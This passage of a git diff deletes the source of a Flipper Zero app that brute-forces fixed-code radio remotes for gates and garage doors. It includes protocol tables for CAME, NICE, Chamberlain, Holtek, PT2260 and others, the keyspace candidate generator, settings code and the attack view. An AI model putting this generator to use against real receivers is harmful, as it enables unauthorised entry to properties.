SubBruteProtocol subbrute_protocol_holtek_12bit_am_433 = { - .frequency = 433920000, - .bits = 12, - .te = 433, - .repeat = 3, - .preset = FuriHalSubGhzPresetOok650Async, - .file = HoltekFileProtocol}; - -/** - * Holtek AM 12bit 315MHz - */ -const SubBruteProtocol subbrute_protocol_holtek_12bit_am_315 = { - .frequency = 315000000, - .bits = 12, - .te = 433, - .repeat = 3, - .preset = FuriHalSubGhzPresetOok650Async, - .file = HoltekFileProtocol}; - -/** - * Holtek AM 12bit 868MHz - */ -const SubBruteProtocol subbrute_protocol_holtek_12bit_am_868 = { - .frequency = 868350000, - .bits = 12, - .te = 433, - .repeat = 3, - .preset = FuriHalSubGhzPresetOok650Async, - .file = HoltekFileProtocol}; - -/** - * Holtek AM 12bit 915MHz - */ -const SubBruteProtocol subbrute_protocol_holtek_12bit_am_915 = { - .frequency = 915000000, - .bits = 12, - .te = 433, - .repeat = 3, - .preset = FuriHalSubGhzPresetOok650Async, - .file = HoltekFileProtocol}; - -/** - * BF existing dump - */ -const SubBruteProtocol subbrute_protocol_load_file = - {0, 0, 0, 3, FuriHalSubGhzPresetOok650Async, UnknownFileProtocol}; - -static const char* subbrute_protocol_names[] = { - [SubBruteAttackCAME12bit303] = "CAME 12bit 303MHz", - [SubBruteAttackCAME12bit307] = "CAME 12bit 307MHz", - [SubBruteAttackCAME12bit315] = "CAME 12bit 315MHz", - [SubBruteAttackCAME12bit433] = "CAME 12bit 433MHz", - [SubBruteAttackCAME12bit868] = "CAME 12bit 868MHz", - [SubBruteAttackNICE12bit433] = "NICE 12bit 433MHz", - [SubBruteAttackNICE12bit868] = "NICE 12bit 868MHz", - [SubBruteAttackAnsonic12bit433075] = "Ansonic 12bit 433.07MHz", - [SubBruteAttackAnsonic12bit433] = "Ansonic 12bit 433.92MHz", - [SubBruteAttackAnsonic12bit434] = "Ansonic 12bit 434.07MHz", - [SubBruteAttackHoltek12bitFM433] = "Holtek FM 12bit 433MHz", - [SubBruteAttackHoltek12bitAM433] = "Holtek AM 12bit 433MHz", - [SubBruteAttackHoltek12bitAM315] = "Holtek AM 12bit 315MHz", - [SubBruteAttackHoltek12bitAM868] = "Holtek AM 12bit 868MHz", - [SubBruteAttackHoltek12bitAM915] = "Holtek AM 12bit 915MHz", - [SubBruteAttackChamberlain9bit300] = "Chamberlain 9bit 300MHz", - [SubBruteAttackChamberlain9bit315] = "Chamberlain 9bit 315MHz", - [SubBruteAttackChamberlain9bit390] = "Chamberlain 9bit 390MHz", - [SubBruteAttackChamberlain9bit433] = "Chamberlain 9bit 433MHz", - [SubBruteAttackChamberlain8bit300] = "Chamberlain 8bit 300MHz", - [SubBruteAttackChamberlain8bit315] = "Chamberlain 8bit 315MHz", - [SubBruteAttackChamberlain8bit390] = "Chamberlain 8bit 390MHz", - [SubBruteAttackChamberlain7bit300] = "Chamberlain 7bit 300MHz", - [SubBruteAttackChamberlain7bit315] = "Chamberlain 7bit 315MHz", - [SubBruteAttackChamberlain7bit390] = "Chamberlain 7bit 390MHz", - [SubBruteAttackLinear10bit300] = "Linear 10bit 300MHz", - [SubBruteAttackLinear10bit310] = "Linear 10bit 310MHz", - [SubBruteAttackLinearDelta8bit310] = "LinearDelta3 8bit 310MHz", - [SubBruteAttackUNILARM24bit330] = "UNILARM 25bit 330MHz", - [SubBruteAttackUNILARM24bit433] = "UNILARM 25bit 433MHz", - [SubBruteAttackSMC532624bit330] = "SMC5326 25bit 330MHz", - [SubBruteAttackSMC532624bit433] = "SMC5326 25bit 433MHz", - [SubBruteAttackPT226024bit315] = "PT2260 24bit 315MHz", - [SubBruteAttackPT226024bit330] = "PT2260 24bit 330MHz", - [SubBruteAttackPT226024bit390] = "PT2260 24bit 390MHz", - [SubBruteAttackPT226024bit433] = "PT2260 24bit 433MHz", - [SubBruteAttackLoadFile] = "BF existing dump", - [SubBruteAttackTotalCount] = "Total Count", -}; - -static const char* subbrute_protocol_presets[] = { - [FuriHalSubGhzPresetIDLE] = "FuriHalSubGhzPresetIDLE", - [FuriHalSubGhzPresetOok270Async] = "FuriHalSubGhzPresetOok270Async", - [FuriHalSubGhzPresetOok650Async] = "FuriHalSubGhzPresetOok650Async", - [FuriHalSubGhzPreset2FSKDev238Async] = "FuriHalSubGhzPreset2FSKDev238Async", - [FuriHalSubGhzPreset2FSKDev476Async] = "FuriHalSubGhzPreset2FSKDev476Async", - [FuriHalSubGhzPresetMSK99_97KbAsync] = "FuriHalSubGhzPresetMSK99_97KbAsync", - [FuriHalSubGhzPresetGFSK9_99KbAsync] = "FuriHalSubGhzPresetGFSK9_99KbAsync", -}; - -const SubBruteProtocol* subbrute_protocol_registry[] = { - [SubBruteAttackCAME12bit303] = &subbrute_protocol_came_12bit_303, - [SubBruteAttackCAME12bit307] = &subbrute_protocol_came_12bit_307, - [SubBruteAttackCAME12bit315] = &subbrute_protocol_came_12bit_315, - [SubBruteAttackCAME12bit433] = &subbrute_protocol_came_12bit_433, - [SubBruteAttackCAME12bit868] = &subbrute_protocol_came_12bit_868, - [SubBruteAttackNICE12bit433] = &subbrute_protocol_nice_12bit_433, - [SubBruteAttackNICE12bit868] = &subbrute_protocol_nice_12bit_868, - [SubBruteAttackAnsonic12bit433075] = &subbrute_protocol_ansonic_12bit_433075, - [SubBruteAttackAnsonic12bit433] = &subbrute_protocol_ansonic_12bit_433, - [SubBruteAttackAnsonic12bit434] = &subbrute_protocol_ansonic_12bit_434, - [SubBruteAttackHoltek12bitFM433] = &subbrute_protocol_holtek_12bit_433, - [SubBruteAttackHoltek12bitAM433] = &subbrute_protocol_holtek_12bit_am_433, - [SubBruteAttackHoltek12bitAM315] = &subbrute_protocol_holtek_12bit_am_315, - [SubBruteAttackHoltek12bitAM868] = &subbrute_protocol_holtek_12bit_am_868, - [SubBruteAttackHoltek12bitAM915] = &subbrute_protocol_holtek_12bit_am_915, - [SubBruteAttackChamberlain9bit300] = &subbrute_protocol_chamberlain_9bit_300, - [SubBruteAttackChamberlain9bit315] = &subbrute_protocol_chamberlain_9bit_315, - [SubBruteAttackChamberlain9bit390] = &subbrute_protocol_chamberlain_9bit_390, - [SubBruteAttackChamberlain9bit433] = &subbrute_protocol_chamberlain_9bit_433, - [SubBruteAttackChamberlain8bit300] = &subbrute_protocol_chamberlain_8bit_300, - [SubBruteAttackChamberlain8bit315] = &subbrute_protocol_chamberlain_8bit_315, - [SubBruteAttackChamberlain8bit390] = &subbrute_protocol_chamberlain_8bit_390, - [SubBruteAttackChamberlain7bit300] = &subbrute_protocol_chamberlain_7bit_300, - [SubBruteAttackChamberlain7bit315] = &subbrute_protocol_chamberlain_7bit_315, - [SubBruteAttackChamberlain7bit390] = &subbrute_protocol_chamberlain_7bit_390, - [SubBruteAttackLinear10bit300] = &subbrute_protocol_linear_10bit_300, - [SubBruteAttackLinear10bit310] = &subbrute_protocol_linear_10bit_310, - [SubBruteAttackLinearDelta8bit310] = &subbrute_protocol_linear_delta_8bit_310, - [SubBruteAttackUNILARM24bit330] = &subbrute_protocol_unilarm_24bit_330, - [SubBruteAttackUNILARM24bit433] = &subbrute_protocol_unilarm_24bit_433, - [SubBruteAttackSMC532624bit330] = &subbrute_protocol_smc5326_24bit_330, - [SubBruteAttackSMC532624bit433] = &subbrute_protocol_smc5326_24bit_433, - [SubBruteAttackPT226024bit315] = &subbrute_protocol_pt2260_24bit_315, - [SubBruteAttackPT226024bit330] = &subbrute_protocol_pt2260_24bit_330, - [SubBruteAttackPT226024bit390] = &subbrute_protocol_pt2260_24bit_390, - [SubBruteAttackPT226024bit433] = &subbrute_protocol_pt2260_24bit_433, - [SubBruteAttackLoadFile] = &subbrute_protocol_load_file}; - -static const char* subbrute_protocol_file_types[] = { - [CAMEFileProtocol] = "CAME", - [NICEFileProtocol] = "Nice FLO", - [ChamberlainFileProtocol] = "Cham_Code", - [LinearFileProtocol] = "Linear", - [LinearDeltaFileProtocol] = "LinearDelta3", - [PrincetonFileProtocol] = "Princeton", - [RAWFileProtocol] = "RAW", - [BETTFileProtocol] = "BETT", - [ClemsaFileProtocol] = "Clemsa", - [DoitrandFileProtocol] = "Doitrand", - [GateTXFileProtocol] = "GateTX", - [MagellanFileProtocol] = "Magellan", - [IntertechnoV3FileProtocol] = "Intertechno_V3", - [AnsonicFileProtocol] = "Ansonic", - [SMC5326FileProtocol] = "SMC5326", - [UNILARMFileProtocol] = "SMC5326", - [PT2260FileProtocol] = "Princeton", - [HoneywellFileProtocol] = "Honeywell", - [HoltekFileProtocol] = "Holtek_HT12X", - [UnknownFileProtocol] = "Unknown"}; - -/** - * Values to not use less memory for packet parse operations - */ -static const char* subbrute_key_file_start_no_tail = - "Filetype: Flipper SubGhz Key File\nVersion: 1\nFrequency: %u\nPreset: %s\nProtocol: %s\nBit: %d\nKey: %s\n"; -static const char* subbrute_key_file_start_with_tail = - "Filetype: Flipper SubGhz Key File\nVersion: 1\nFrequency: %u\nPreset: %s\nProtocol: %s\nBit: %d\nKey: %s\nTE: %d\n"; -static const char* subbrute_key_small_no_tail = "Bit: %d\nKey: %s\nRepeat: %d\n"; -//static const char* subbrute_key_small_raw = -// "Filetype: Flipper SubGhz Key File\nVersion: 1\nFrequency: %u\nPreset: %s\nProtocol: %s\nBit: %d\n"; -static const char* subbrute_key_small_with_tail = "Bit: %d\nKey: %s\nTE: %d\nRepeat: %d\n"; - -const char* subbrute_protocol_name(SubBruteAttacks index) { - return subbrute_protocol_names[index]; -} - -const SubBruteProtocol* subbrute_protocol(SubBruteAttacks index) { - return subbrute_protocol_registry[index]; -} - -uint8_t subbrute_protocol_repeats_count(SubBruteAttacks index) { - return subbrute_protocol_registry[index]->repeat; -} - -const char* subbrute_protocol_preset(FuriHalSubGhzPreset preset) { - return subbrute_protocol_presets[preset]; -} - -const char* subbrute_protocol_file(SubBruteFileProtocol protocol) { - return subbrute_protocol_file_types[protocol]; -} - -FuriHalSubGhzPreset subbrute_protocol_convert_preset(FuriString* preset_name) { - for(size_t i = FuriHalSubGhzPresetIDLE; i < FuriHalSubGhzPresetCustom; i++) { - if(furi_string_cmp_str(preset_name, subbrute_protocol_presets[i]) == 0) { - return i; - } - } - - return FuriHalSubGhzPresetIDLE; -} - -SubBruteFileProtocol subbrute_protocol_file_protocol_name(FuriString* name) { - for(size_t i = CAMEFileProtocol; i < TotalFileProtocol - 1; i++) { - if(furi_string_cmp_str(name, subbrute_protocol_file_types[i]) == 0) { - return i; - } - } - - return UnknownFileProtocol; -} - -void subbrute_protocol_create_candidate_for_existing_file( - FuriString* candidate, - uint64_t step, - uint8_t bit_index, - uint64_t file_key, - bool two_bytes) { - uint8_t p[8]; - for(int i = 0; i < 8; i++) { - p[i] = (uint8_t)(file_key >> 8 * (7 - i)) & 0xFF; - } - uint8_t low_byte = step & (0xff); - uint8_t high_byte = (step >> 8) & 0xff; - - size_t size = sizeof(uint64_t); - for(uint8_t i = 0; i < size; i++) { - if(i == bit_index - 1 && two_bytes) { - furi_string_cat_printf(candidate, "%02X %02X", high_byte, low_byte); - i++; - } else if(i == bit_index) { - furi_string_cat_printf(candidate, "%02X", low_byte); - } else if(p[i] != 0) { - furi_string_cat_printf(candidate, "%02X", p[i]); - } else { - furi_string_cat_printf(candidate, "%s", "00"); - } - - if(i < size - 1) { - furi_string_push_back(candidate, ' '); - } - } - -#ifdef FURI_DEBUG - FURI_LOG_D(TAG, "file candidate: %s, step: %lld", furi_string_get_cstr(candidate), step); -#endif -} - -void subbrute_protocol_create_candidate_for_default( - FuriString* candidate, - SubBruteFileProtocol file, - uint64_t step) { - uint8_t p[8]; - if(file == SMC5326FileProtocol) { - const uint8_t lut[] = {0x00, 0x02, 0x03}; // 00, 10, 11 - const uint64_t gate1 = 0x01D5; // 111010101 - //const uint8_t gate2 = 0x0175; // 101110101 - - uint64_t total = 0; - for(size_t j = 0; j < 8; j++) { - total |= lut[step % 3] << (2 * j); - double sub_step = step / 3; - step = (uint64_t)floor(sub_step); - } - total <<= 9; - total |= gate1; - - for(int i = 0; i < 8; i++) { - p[i] = (uint8_t)(total >> 8 * (7 - i)) & 0xFF; - } - } else if(file == UNILARMFileProtocol) { - const uint8_t lut[] = {0x00, 0x02, 0x03}; // 00, 10, 11 - const uint64_t gate1 = 3 << 7; - //const uint8_t gate2 = 3 << 5; - - uint64_t total = 0; - for(size_t j = 0; j < 8; j++) { - total |= lut[step % 3] << (2 * j); - double sub_step = step / 3; - step = (uint64_t)floor(sub_step); - } - total <<= 9; - total |= gate1; - - for(int i = 0; i < 8; i++) { - p[i] = (uint8_t)(total >> 8 * (7 - i)) & 0xFF; - } - } else if(file == PT2260FileProtocol) { - const uint8_t lut[] = {0x00, 0x01, 0x03}; // 00, 01, 11 - const uint64_t button_open = 0x03; // 11 - //const uint8_t button_lock = 0x0C; // 1100 - //const uint8_t button_stop = 0x30; // 110000 - //const uint8_t button_close = 0xC0; // 11000000 - - uint64_t total = 0; - for(size_t j = 0; j < 8; j++) { - total |= lut[step % 3] << (2 * j); - double sub_step = step / 3; - step = (uint64_t)floor(sub_step); - } - total <<= 8; - total |= button_open; - - for(int i = 0; i < 8; i++) { - p[i] = (uint8_t)(total >> 8 * (7 - i)) & 0xFF; - } - } else { - for(int i = 0; i < 8; i++) { - p[i] = (uint8_t)(step >> 8 * (7 - i)) & 0xFF; - } - } - - size_t size = sizeof(uint64_t); - for(uint8_t i = 0; i < size; i++) { - if(p[i] != 0) { - furi_string_cat_printf(candidate, "%02X", p[i]); - } else { - furi_string_cat_printf(candidate, "%s", "00"); - } - - if(i < size - 1) { - furi_string_push_back(candidate, ' '); - } - } - -#ifdef FURI_DEBUG - FURI_LOG_D(TAG, "candidate: %s, step: %lld", furi_string_get_cstr(candidate), step); -#endif -} - -void subbrute_protocol_default_payload( - Stream* stream, - SubBruteFileProtocol file, - uint64_t step, - uint8_t bits, - uint32_t te, - uint8_t repeat) { - FuriString* candidate = furi_string_alloc(); - subbrute_protocol_create_candidate_for_default(candidate, file, step); - -#ifdef FURI_DEBUG - FURI_LOG_D( - TAG, - "candidate: %s, step: %lld, repeat: %d, te: %s", - furi_string_get_cstr(candidate), - step, - repeat, - te ? "true" : "false"); -#endif - stream_clean(stream); - if(te) { - stream_write_format( - stream, - subbrute_key_small_with_tail, - bits, - furi_string_get_cstr(candidate), - te, - repeat); - } else { - stream_write_format( - stream, subbrute_key_small_no_tail, bits, furi_string_get_cstr(candidate), repeat); - } - - furi_string_free(candidate); -} - -void subbrute_protocol_file_payload( - Stream* stream, - uint64_t step, - uint8_t bits, - uint32_t te, - uint8_t repeat, - uint8_t bit_index, - uint64_t file_key, - bool two_bytes) { - FuriString* candidate = furi_string_alloc(); - subbrute_protocol_create_candidate_for_existing_file( - candidate, step, bit_index, file_key, two_bytes); - -#ifdef FURI_DEBUG - FURI_LOG_D( - TAG, - "candidate: %s, step: %lld, repeat: %d, te: %s", - furi_string_get_cstr(candidate), - step, - repeat, - te ? "true" : "false"); -#endif - stream_clean(stream); - - if(te) { - stream_write_format( - stream, - subbrute_key_small_with_tail, - bits, - furi_string_get_cstr(candidate), - te, - repeat); - } else { - stream_write_format( - stream, subbrute_key_small_no_tail, bits, furi_string_get_cstr(candidate), repeat); - } - - furi_string_free(candidate); -} - -void subbrute_protocol_default_generate_file( - Stream* stream, - uint32_t frequency, - FuriHalSubGhzPreset preset, - SubBruteFileProtocol file, - uint64_t step, - uint8_t bits, - uint32_t te) { - FuriString* candidate = furi_string_alloc(); - subbrute_protocol_create_candidate_for_default(candidate, file, step); - -#ifdef FURI_DEBUG - FURI_LOG_D(TAG, "candidate: %s, step: %lld", furi_string_get_cstr(candidate), step); -#endif - stream_clean(stream); - - if(te) { - stream_write_format( - stream, - subbrute_key_file_start_with_tail, - frequency, - subbrute_protocol_preset(preset), - subbrute_protocol_file(file), - bits, - furi_string_get_cstr(candidate), - te); - } else { - stream_write_format( - stream, - subbrute_key_file_start_no_tail, - frequency, - subbrute_protocol_preset(preset), - subbrute_protocol_file(file), - bits, - furi_string_get_cstr(candidate)); - } - - furi_string_free(candidate); -} - -void subbrute_protocol_file_generate_file( - Stream* stream, - uint32_t frequency, - FuriHalSubGhzPreset preset, - SubBruteFileProtocol file, - uint64_t step, - uint8_t bits, - uint32_t te, - uint8_t bit_index, - uint64_t file_key, - bool two_bytes) { - FuriString* candidate = furi_string_alloc(); - // char subbrute_payload_byte[8]; - //furi_string_set_str(candidate, file_key); - subbrute_protocol_create_candidate_for_existing_file( - candidate, step, bit_index, file_key, two_bytes); - - stream_clean(stream); - - if(te) { - stream_write_format( - stream, - subbrute_key_file_start_with_tail, - frequency, - subbrute_protocol_preset(preset), - subbrute_protocol_file(file), - bits, - furi_string_get_cstr(candidate), - te); - } else { - stream_write_format( - stream, - subbrute_key_file_start_no_tail, - frequency, - subbrute_protocol_preset(preset), - subbrute_protocol_file(file), - bits, - furi_string_get_cstr(candidate)); - } - - furi_string_free(candidate); -} - -uint64_t - subbrute_protocol_calc_max_value(SubBruteAttacks attack_type, uint8_t bits, bool two_bytes) { - uint64_t max_value; - if(attack_type == SubBruteAttackLoadFile) { - max_value = two_bytes ? 0xFFFF : 0xFF; - } else if( - attack_type == SubBruteAttackSMC532624bit330 || - attack_type == SubBruteAttackSMC532624bit433 || - attack_type == SubBruteAttackUNILARM24bit330 || - attack_type == SubBruteAttackUNILARM24bit433 || - attack_type == SubBruteAttackPT226024bit315 || - attack_type == SubBruteAttackPT226024bit330 || - attack_type == SubBruteAttackPT226024bit390 || - attack_type == SubBruteAttackPT226024bit433) { - max_value = 6561; - } else { - FuriString* max_value_s; - max_value_s = furi_string_alloc(); - for(uint8_t i = 0; i < bits; i++) { - furi_string_cat_printf(max_value_s, "1"); - } - max_value = (uint64_t)strtol(furi_string_get_cstr(max_value_s), NULL, 2); - furi_string_free(max_value_s); - } - - return max_value; -} diff --git a/applications/external/subghz_bruteforcer/subbrute_protocols.h b/applications/external/subghz_bruteforcer/subbrute_protocols.h deleted file mode 100644 index 009c22b4c..000000000 --- a/applications/external/subghz_bruteforcer/subbrute_protocols.h +++ /dev/null @@ -1,128 +0,0 @@ -#pragma once - -#include -#include -#include -#include - -#define SUBBRUTE_PROTOCOL_MAX_REPEATS 9 - -typedef enum { - CAMEFileProtocol, - NICEFileProtocol, - ChamberlainFileProtocol, - LinearFileProtocol, - LinearDeltaFileProtocol, - PrincetonFileProtocol, - RAWFileProtocol, - BETTFileProtocol, - ClemsaFileProtocol, - DoitrandFileProtocol, - GateTXFileProtocol, - MagellanFileProtocol, - IntertechnoV3FileProtocol, - AnsonicFileProtocol, - SMC5326FileProtocol, - UNILARMFileProtocol, - PT2260FileProtocol, - HoneywellFileProtocol, - HoltekFileProtocol, - UnknownFileProtocol, - TotalFileProtocol, -} SubBruteFileProtocol; - -typedef enum { - SubBruteAttackCAME12bit303, - SubBruteAttackCAME12bit307, - SubBruteAttackCAME12bit315, - SubBruteAttackCAME12bit433, - SubBruteAttackCAME12bit868, - SubBruteAttackNICE12bit433, - SubBruteAttackNICE12bit868, - SubBruteAttackAnsonic12bit433075, - SubBruteAttackAnsonic12bit433, - SubBruteAttackAnsonic12bit434, - SubBruteAttackHoltek12bitFM433, - SubBruteAttackHoltek12bitAM433, - SubBruteAttackHoltek12bitAM315, - SubBruteAttackHoltek12bitAM868, - SubBruteAttackHoltek12bitAM915, - SubBruteAttackChamberlain9bit300, - SubBruteAttackChamberlain9bit315, - SubBruteAttackChamberlain9bit390, - SubBruteAttackChamberlain9bit433, - SubBruteAttackChamberlain8bit300, - SubBruteAttackChamberlain8bit315, - SubBruteAttackChamberlain8bit390, - SubBruteAttackChamberlain7bit300, - SubBruteAttackChamberlain7bit315, - SubBruteAttackChamberlain7bit390, - SubBruteAttackLinear10bit300, - SubBruteAttackLinear10bit310, - SubBruteAttackLinearDelta8bit310, - SubBruteAttackUNILARM24bit330, - SubBruteAttackUNILARM24bit433, - SubBruteAttackSMC532624bit330, - SubBruteAttackSMC532624bit433, - SubBruteAttackPT226024bit315, - SubBruteAttackPT226024bit330, - SubBruteAttackPT226024bit390, - SubBruteAttackPT226024bit433, - SubBruteAttackLoadFile, - SubBruteAttackTotalCount, -} SubBruteAttacks; - -typedef struct { - uint32_t frequency; - uint8_t bits; - uint32_t te; - uint8_t repeat; - FuriHalSubGhzPreset preset; - SubBruteFileProtocol file; -} SubBruteProtocol; - -const SubBruteProtocol* subbrute_protocol(SubBruteAttacks index); -const char* subbrute_protocol_preset(FuriHalSubGhzPreset preset); -const char* subbrute_protocol_file(SubBruteFileProtocol protocol); -FuriHalSubGhzPreset subbrute_protocol_convert_preset(FuriString* preset_name); -SubBruteFileProtocol subbrute_protocol_file_protocol_name(FuriString* name); -uint8_t subbrute_protocol_repeats_count(SubBruteAttacks index); -const char* subbrute_protocol_name(SubBruteAttacks index); - -void subbrute_protocol_default_payload( - Stream* stream, - SubBruteFileProtocol file, - uint64_t step, - uint8_t bits, - uint32_t te, - uint8_t repeat); -void subbrute_protocol_file_payload( - Stream* stream, - uint64_t step, - uint8_t bits, - uint32_t te, - uint8_t repeat, - uint8_t bit_index, - uint64_t file_key, - bool two_bytes); -void subbrute_protocol_default_generate_file( - Stream* stream, - uint32_t frequency, - FuriHalSubGhzPreset preset, - SubBruteFileProtocol file, - uint64_t step, - uint8_t bits, - uint32_t te); -void subbrute_protocol_file_generate_file( - Stream* stream, - uint32_t frequency, - FuriHalSubGhzPreset preset, - SubBruteFileProtocol file, - uint64_t step, - uint8_t bits, - uint32_t te, - uint8_t bit_index, - uint64_t file_key, - bool two_bytes); -uint64_t - subbrute_protocol_calc_max_value(SubBruteAttacks attack_type, uint8_t bits, bool two_bytes); diff --git a/applications/external/subghz_bruteforcer/subbrute_settings.c b/applications/external/subghz_bruteforcer/subbrute_settings.c deleted file mode 100644 index 754cd8673..000000000 --- a/applications/external/subghz_bruteforcer/subbrute_settings.c +++ /dev/null @@ -1,150 +0,0 @@ -#include "subbrute_settings.h" -#include "subbrute_i.h" - -#define TAG "SubBruteSettings" - -#define SUBBRUTE_SETTINGS_FILE_TYPE "Sub-GHz BruteForcer Settings File" -#define SUBBRUTE_SETTINGS_FILE_VERSION 1 -#define SUBBRUTE_SETTINGS_PATH APP_DATA_PATH("subghz-bruteforcer.settings") - -#define SUBBRUTE_FIELD_LAST_INDEX "LastIndex" -#define SUBBRUTE_FIELD_REPEAT_VALUES "RepeatValue" - -SubBruteSettings* subbrute_settings_alloc(void) { - SubBruteSettings* instance = malloc(sizeof(SubBruteSettings)); - return instance; -} - -void subbrute_settings_free(SubBruteSettings* instance) { - furi_assert(instance); - free(instance); -} - -void subbrute_settings_load(SubBruteSettings* instance) { - furi_assert(instance); - - Storage* storage = furi_record_open(RECORD_STORAGE); - FlipperFormat* fff_data_file = flipper_format_file_alloc(storage); - - uint32_t temp_last_index = 0; - uint8_t temp_repeat_values[SubBruteAttackTotalCount] = {0}; - bool was_read_last_index = false; - bool was_read_repeat_values = false; - - storage_common_migrate( - storage, EXT_PATH("subghz-bruteforcer.settings"), SUBBRUTE_SETTINGS_PATH); - - if(FSE_OK == storage_sd_status(storage) && SUBBRUTE_SETTINGS_PATH && - flipper_format_file_open_existing(fff_data_file, SUBBRUTE_SETTINGS_PATH)) { - was_read_last_index = flipper_format_read_uint32( - fff_data_file, SUBBRUTE_FIELD_LAST_INDEX, (uint32_t*)&temp_last_index, 1); - was_read_repeat_values = flipper_format_read_hex( - fff_data_file, - SUBBRUTE_FIELD_REPEAT_VALUES, - temp_repeat_values, - SubBruteAttackTotalCount); - } else { - FURI_LOG_E(TAG, "Error open file %s", SUBBRUTE_SETTINGS_PATH); - } - - if(was_read_last_index && temp_last_index < SubBruteAttackTotalCount) { - instance->last_index = temp_last_index; - } else { - FURI_LOG_W(TAG, "Last used index not found or can't be used!"); - instance->last_index = (uint32_t)SubBruteAttackCAME12bit433; - } - if(was_read_repeat_values) { - for(size_t i = 0; i < SubBruteAttackTotalCount; i++) { - uint8_t protocol_count = subbrute_protocol_repeats_count(i); - uint8_t max_protocol_count = protocol_count * 3; - if(temp_repeat_values[i] < protocol_count) { - instance->repeat_values[i] = protocol_count; - } else if(temp_repeat_values[i] > max_protocol_count) { - instance->repeat_values[i] = max_protocol_count; - } else { - instance->repeat_values[i] = temp_repeat_values[i]; - } - } - } else { - FURI_LOG_W(TAG, "Last used repeat values can't be used!"); - for(size_t i = 0; i < SubBruteAttackTotalCount; i++) { - instance->repeat_values[i] = subbrute_protocol_repeats_count(i); - } - } - - flipper_format_file_close(fff_data_file); - flipper_format_free(fff_data_file); - furi_record_close(RECORD_STORAGE); -} - -bool subbrute_settings_save(SubBruteSettings* instance) { - furi_assert(instance); - - bool saved = false; - Storage* storage = furi_record_open(RECORD_STORAGE); - FlipperFormat* file = flipper_format_file_alloc(storage); - - do { - if(FSE_OK != storage_sd_status(storage)) { - break; - } - // Open file - if(!flipper_format_file_open_always(file, SUBBRUTE_SETTINGS_PATH)) { - break; - } - // Write header - if(!flipper_format_write_header_cstr( - file, SUBBRUTE_SETTINGS_FILE_TYPE, SUBBRUTE_SETTINGS_FILE_VERSION)) { - break; - } - if(!flipper_format_insert_or_update_uint32( - file, SUBBRUTE_FIELD_LAST_INDEX, &instance->last_index, 1)) { - break; - } - - if(!flipper_format_insert_or_update_hex( - file, - SUBBRUTE_FIELD_REPEAT_VALUES, - instance->repeat_values, - SubBruteAttackTotalCount)) { - break; - } - saved = true; - break; - } while(true); - - if(!saved) { - FURI_LOG_E(TAG, "Error save file %s", SUBBRUTE_SETTINGS_PATH); - } - - flipper_format_file_close(file); - flipper_format_free(file); - furi_record_close(RECORD_STORAGE); - - return saved; -} - -void subbrute_settings_set_value(SubBruteSettings* instance, SubBruteAttacks index, uint8_t value) { - furi_assert(instance); - - instance->repeat_values[index] = value; -} -uint8_t subbrute_settings_get_value(SubBruteSettings* instance, SubBruteAttacks index) { - furi_assert(instance); - - return instance->repeat_values[index]; -} - -void subbrute_settings_set_repeats(SubBruteSettings* instance, const uint8_t* repeated_values) { - furi_assert(instance); - - for(size_t i = 0; i < SubBruteAttackTotalCount; i++) { - instance->repeat_values[i] = repeated_values[i]; - } -} - -uint8_t subbrute_settings_get_current_repeats(SubBruteSettings* instance) { - furi_assert(instance); - - return instance->repeat_values[instance->last_index]; -} diff --git a/applications/external/subghz_bruteforcer/subbrute_settings.h b/applications/external/subghz_bruteforcer/subbrute_settings.h deleted file mode 100644 index 961ff0973..000000000 --- a/applications/external/subghz_bruteforcer/subbrute_settings.h +++ /dev/null @@ -1,21 +0,0 @@ -#pragma once - -#include -#include -#include -#include -#include "subbrute_protocols.h" - -typedef struct { - uint8_t repeat_values[SubBruteAttackTotalCount]; - uint32_t last_index; -} SubBruteSettings; - -SubBruteSettings* subbrute_settings_alloc(void); -void subbrute_settings_free(SubBruteSettings* instance); -void subbrute_settings_load(SubBruteSettings* instance); -bool subbrute_settings_save(SubBruteSettings* instance); -void subbrute_settings_set_value(SubBruteSettings* instance, SubBruteAttacks index, uint8_t value); -uint8_t subbrute_settings_get_value(SubBruteSettings* instance, SubBruteAttacks index); -void subbrute_settings_set_repeats(SubBruteSettings* instance, const uint8_t* repeated_values); -uint8_t subbrute_settings_get_current_repeats(SubBruteSettings* instance); diff --git a/applications/external/subghz_bruteforcer/views/subbrute_attack_view.c b/applications/external/subghz_bruteforcer/views/subbrute_attack_view.c deleted file mode 100644 index 1a22ff56b..000000000 --- a/applications/external/subghz_bruteforcer/views/subbrute_attack_view.c +++ /dev/null @@ -1,343 +0,0 @@ -#include "subbrute_attack_view.h" -#include "../subbrute_i.h" -#include "../helpers/gui_top_buttons.h" - -#include -#include -#include -#include "subghz_bruteforcer_icons.h" -#include - -#define TAG "SubBruteAttackView" - -struct SubBruteAttackView { - View* view; - SubBruteAttackViewCallback callback; - void* context; - SubBruteAttacks attack_type; - uint64_t max_value; - uint64_t current_step; - bool is_attacking; - // uint8_t extra_repeats; -}; - -typedef struct { - SubBruteAttacks attack_type; - uint64_t max_value; - uint64_t current_step; - uint8_t repeat_count; - bool is_attacking; - IconAnimation* icon; -} SubBruteAttackViewModel; - -void subbrute_attack_view_set_callback( - SubBruteAttackView* instance, - SubBruteAttackViewCallback callback, - void* context) { - furi_assert(instance); - furi_assert(callback); - - instance->callback = callback; - instance->context = context; -} - -bool subbrute_attack_view_input(InputEvent* event, void* context) { - furi_assert(event); - furi_assert(context); - SubBruteAttackView* instance = context; -#ifdef FURI_DEBUG - FURI_LOG_D(TAG, "InputKey: %d", event->key); -#endif - - if(event->key == InputKeyBack && event->type == InputTypeShort) { - instance->is_attacking = false; - with_view_model( - instance->view, - SubBruteAttackViewModel * model, - { model->is_attacking = false; }, - true); - - instance->callback(SubBruteCustomEventTypeBackPressed, instance->context); - return true; - } - - bool update = false; - - if(!instance->is_attacking) { - if(event->type == InputTypeShort && event->key == InputKeyOk) { -#ifdef FURI_DEBUG - FURI_LOG_D(TAG, "InputKey: %d OK", event->key); -#endif - instance->is_attacking = true; - instance->callback(SubBruteCustomEventTypeTransmitStarted, instance->context); - update = true; - } else if(event->key == InputKeyUp && event->type == InputTypeShort) { - instance->callback(SubBruteCustomEventTypeSaveFile, instance->context); - update = true; - } else if(event->key == InputKeyUp && event->type == InputTypeLong) { - instance->callback(SubBruteCustomEventTypeExtraSettings, instance->context); - update = true; - } else if(event->key == InputKeyDown) { - instance->callback(SubBruteCustomEventTypeTransmitCustom, instance->context); - update = true; - } else if(event->type == InputTypeShort) { - if(event->key == InputKeyLeft) { - instance->callback(SubBruteCustomEventTypeChangeStepDown, instance->context); - } else if(event->key == InputKeyRight) { - instance->callback(SubBruteCustomEventTypeChangeStepUp, instance->context); - } - update = true; - } else 